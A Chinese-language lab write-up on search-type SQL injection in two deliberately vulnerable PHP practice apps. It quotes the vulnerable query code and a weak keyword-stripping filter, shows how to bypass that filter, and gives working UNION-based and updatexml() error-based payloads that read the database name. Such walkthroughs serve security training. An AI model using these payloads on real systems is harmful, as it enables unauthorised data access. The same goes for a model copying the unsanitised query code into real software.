漏洞位置 /search.php
这次是真的是搜索型注入了。
对了,这是我提前去留言了的,很神奇不显示留言信息,源码里面都有输出的。。
源码里面发现,居然打错了大小写,算了,BWVS
也被打成了DWVS
,不影响还是能做的。
看下面一段waf
代码。。。
if (!empty($_GET['search'])) {
$content = $_GET['search'];
$clear_content = search_waf($content);
$sql = "SELECT * FROM dwvs_message WHERE dwvs_message LIKE '%".$clear_content."%'";
//echo $sql;
$data = mysqli_query($connect,$sql);
?>
function search_waf($search_name)
{
$search_name = preg_replace('/or/i', "", $search_name);
$search_name = preg_replace('/and/i', "", $search_name);
$search_name = preg_replace('/[#]/', "", $search_name);
$search_name = preg_replace('/[--]/', "", $search_name);
$search_name = preg_replace('/[\/\*]/', "", $search_name);
$search_name = preg_replace('/[\/\\\\]/', "", $search_name);
return $search_name;
}
主要是看到过滤掉了注释,or
和and
双写即可。
nimei' union select 1,2,3,4,'5
就搞个数据库名算了。。
这里才算是联合查询嘛,其实我到是觉得搜索型注入不太应该单独做一个分类。。。
另外这里无法用报错注入,因为没有mysql
报错信息。
漏洞位置:/bug/sql_injection/sql_search.php
p = new Func("GET","content");
$p -> con_html();
if (isset($_REQUEST['submit'])) {
$content = empty($_REQUEST['content']) ? "is" : $_REQUEST['content'];
$row = $p -> con_mysql("news","content",$content,"search");
public function con_mysql($t_name, $c_name, $c_value, $sql_type){
//mysql
$conn = @mysql_connect(DB_HOST, DB_USER, DB_PASS) or die('bad!');
mysql_query("SET NAMES utf-8");
mysql_select_db(DB_NAME, $conn) OR emMsg("数据库连接失败");
$sql_num = "SELECT * FROM {$t_name} WHERE {$c_name} = {$c_value}"; //num
$sql_string = "SELECT * FROM {$t_name} WHERE {$c_name} = '{$c_value}'"; //string
$sql_search = "SELECT * FROM {$t_name} WHERE {$c_name} like '%{$c_value}%'"; //search
$sql_name = "sql_".$sql_type;
$result = mysql_query($$sql_name, $conn) or die(mysql_error());
$row = mysql_fetch_assoc($result);
mysql_free_result($result);
mysql_close($conn);
return $row;
}
没看到任何过滤,这个bug
目录下的应该就是属于明显的漏洞系列的,由于有die(mysql_error)
直接用报错注入1' and updatexml(1,concat(0x7e,database(),0x7e),1) #
。